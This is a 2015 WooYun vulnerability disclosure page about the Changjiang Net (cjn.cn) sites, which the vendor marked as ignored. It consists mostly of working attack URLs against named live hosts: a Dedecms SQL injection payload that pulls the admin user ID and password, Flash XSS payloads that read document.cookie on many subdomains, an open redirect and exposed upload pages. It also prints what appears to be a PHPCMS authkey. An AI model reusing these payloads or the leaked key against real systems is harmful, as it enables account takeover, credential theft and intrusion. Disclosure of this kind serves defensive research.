当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161399

漏洞标题:长江网存在多个漏洞打包

相关厂商:长江网

漏洞作者: 路人甲

提交时间:2015-12-15 10:58

修复时间:2015-12-20 11:00

公开时间:2015-12-20 11:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-15: 细节已通知厂商并且等待厂商处理中
2015-12-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

Dedecms /plus/download.php URL redirect
http://app.cjn.cn/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D
Dedecms Path Disclosure
http://app.cjn.cn/data/mysql_error_trace.inc
注入
http://app.cjn.cn/plus/search.php?keyword=as&typeArr[111%3D@%60\%27%60%29+and+%28SELECT+1+FROM+%28select+count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select+CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60+limit+0,1%29,1,62%29%29%29a+from+information_schema.tables+group+by+a%29b%29%23@%60\%27%60+]=a


1.png


Dedecms /plus/download.php URL redirect
http://app1.cjn.cn/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D
Dedecms Path Disclosure
http://app1.cjn.cn/data/mysql_error_trace.inc
注入
http://app1.cjn.cn/plus/search.php?keyword=as&typeArr[111%3D@%60\%27%60%29+and+%28SELECT+1+FROM+%28select+count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select+CONCAT%280x7c,userid,0x7c,pwd%29+from+%60%23@__admin%60+limit+0,1%29,1,62%29%29%29a+from+information_schema.tables+group+by+a%29b%29%23@%60\%27%60+]=a
flash xss
http://app1.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://byby.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://hbjs.cjn.cn/statics/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://it.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://jkys.cjn.cn/statics/js/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://lady.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://life.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://pinyou.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://wh2049.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://www.cjn.cn/hs/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://www.cjn.cn/hs/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://yazg.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}
http://yy.cjn.cn/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}


源码泄露
http://e.cjn.cn/upload.jsp
http://e.cjn.cn/image.jsp


1.png


http://jkys.cjn.cn/
PHPCMS authkey泄露
LNgIcALH2pF0kpzZN9rGVA2qZgP7ugc2

漏洞证明:

如上

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-20 11:00

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无